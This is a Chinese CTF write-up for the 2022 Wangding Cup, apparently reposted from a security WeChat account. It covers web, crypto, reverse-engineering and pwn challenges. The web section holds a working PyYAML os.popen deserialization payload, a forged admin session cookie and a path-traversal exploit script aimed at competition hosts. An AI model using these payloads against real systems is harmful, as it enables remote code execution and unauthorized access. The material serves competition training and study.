点击蓝字 · 关注我们
1
签到
2
web669
目录穿越读hostname伪造身份 绕过限制yaml rce 存在suid dd读flag到tmp目录下 每触发一次rce都要重新开一次容器 获取到flag 和suid
!!python/object/new:frozenset
- !!python/object/new:map
- !!python/name:os.popen
- ["bash /tmp/1/suanve"]
import requests
import os
rarname = f"fileinfo"
print(rarname)
print("/Users/suan/Downloads/rar/rar a '" + rarname + "'
f28f1f003578cfa35c012249c819edfa.yaml suanve")
os.system("/Users/suan/Downloads/rar/rar a '" + rarname + "'
f28f1f003578cfa35c012249c819edfa.yaml suanve")
burp0_url = "http://eci2ze31f5e4ml2o80d0k06.cloudeci1.ichunqiu.com:8888/upload"
burp0_cookies = {
"session":
"eyJ1cGRpciI6Ii4vIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwhAgQ.zcTOfp
H44hAr6LcRs778nqfYi2Q"}
requests.get("http://eci2ze31f5e4ml2o80d0k06.cloudeci1.ichunqiu.com:8888/")
f = {"file": open(rarname+".rar", "rb")}
s = requests.post(burp0_url,
cookies=burp0_cookies, files=f)
print(s.text)
print("[!] path: " +
"static/uploads/f528764d624db129b32c21fbca0cb8d6/"+rarname+"/")
'{"updir":./","user":"Administrator"}' -s "engine1"").read()
print(s)
s = requests.get("http://eci2ze31f5e4ml2o80d0k06.cloudeci1.ichunqiu.com:8888/display?
file=1.yaml")
import requests
print(s.text)
burp0_url = "http://eci2ze31f5e4ml2o80d0k06.cloudeci1.ichunqiu.com:8888/..././..././.../
./..././..././..././..././..././..././..././..././..././..././...
/./..././..././..././..././..././..././..././..././..././..././tm
p/1"
s = requests.get(burp0_url)
print(s.text)
1
crypto091
import hashlib
num = 8617090000000
data =
'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc
'
def getnum():
num = 8617090000000
for i in range(9999999):
num = num + 1
# print(num)
s = hashlib.sha256()
s.update(str(num).encode())
b = s.hexdigest()
# parameters_authentication("111", b, 1634884391)
print(num,b)
if b == data:
print('flag:{0}'.format(num))
break
import threading
thread1 = threading.Thread(name='t1',target=getnum)
thread2 = threading.Thread(name='t2',target=getnum)
thread3 = threading.Thread(name='t3',target=getnum)
thread1.start()
thread2.start()
thread3.start()
flag8617091733716
1
re694
打开re.exe发现是个输入,丢exeinfope查一下壳,发现有个upx壳
用010查看发现把这个UPX改成了FUK,改回去用upx脱壳
然后使用ida打开,找到start
然后shift+f12查看输入
找到这两个函数,里面有个计算公式
最后写脚本
data = [0x4B, 0x48, 0x79, 0x13, 0x45, 0x30, 0x5C, 0x49, 0x5A,
0x79, 0x13, 0x70, 0x6D, 0x78, 0x13, 0x6F, 0x48, 0x5D, 0x64, 0x64]
flag = ''
for i in range(20):
flag +=(chr((data[i]^0x50)-10^0x66))
print(flag)
flag{why_m0dify_pUx_SheLL}
2
re693
import re
s = open("challenge.go")
c = []
for i in s.readlines():
c.append(i.strip())
calls = {}
for i in range(len(c)):
if "return cHZv5op8rOmlAkb6(" in c[i]:
# 获取所有调用了cHZv5op8rOmlAkb6的函数
call = re.findall("[w]{16}",c[i-4])[0]
cc = 0
for i2 in range(len(c)):
if f"return {call}()" in c[i2]:
cc += 1
print(call,cc)
#
#
# cat challenge.go|grep -E "(.*, gLIhR,.*)"
a = open("t1")
for i in a.readlines():
if len(re.findall(r',',i))==5:
print(i)
1
pwn135
NC连上 尝试一波发现没 ban read
print(read('flag'))
<EOF>
Not we wil run your *.js with d8
flag{92394598-5bbf-4fd7-866a-da319bce9809}
done!
Tip
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):2022网鼎杯青龙组CTF-WriteUp By EDISEC
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论